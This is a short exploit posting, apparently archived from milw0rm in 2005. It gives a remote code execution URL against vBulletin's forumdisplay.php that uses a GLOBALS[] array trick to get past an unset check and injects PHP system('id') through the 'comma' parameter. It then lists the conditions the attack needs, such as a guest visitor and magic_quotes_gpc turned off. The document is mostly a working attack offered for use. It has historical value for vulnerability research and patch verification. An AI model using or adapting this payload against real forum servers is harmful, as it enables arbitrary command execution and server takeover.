Exploit:
----------------
http://site/forumdisplay.php?GLOBALS[]=1&f=2&comma=".system('id')."
Conditions:
----------------
1st condition : $vboptions['showforumusers'] == True , the admin must set
showforumusers ON in vbulletin options.
2nd condition : $bbuserinfo['userid'] == 0 , you must be an visitor/guest.
3rd condition : $DB_site->fetch_array($forumusers) == True , when you
visit the forums, it must has at least one user show the forum.
4th condition : magic_quotes_gpc must be OFF
SPECIAL condition : you must bypass unset($GLOBALS["$_arrykey"]) code in
init.php by secret array GLOBALS[]=1 ;)))
# milw0rm.com [2005-02-14]
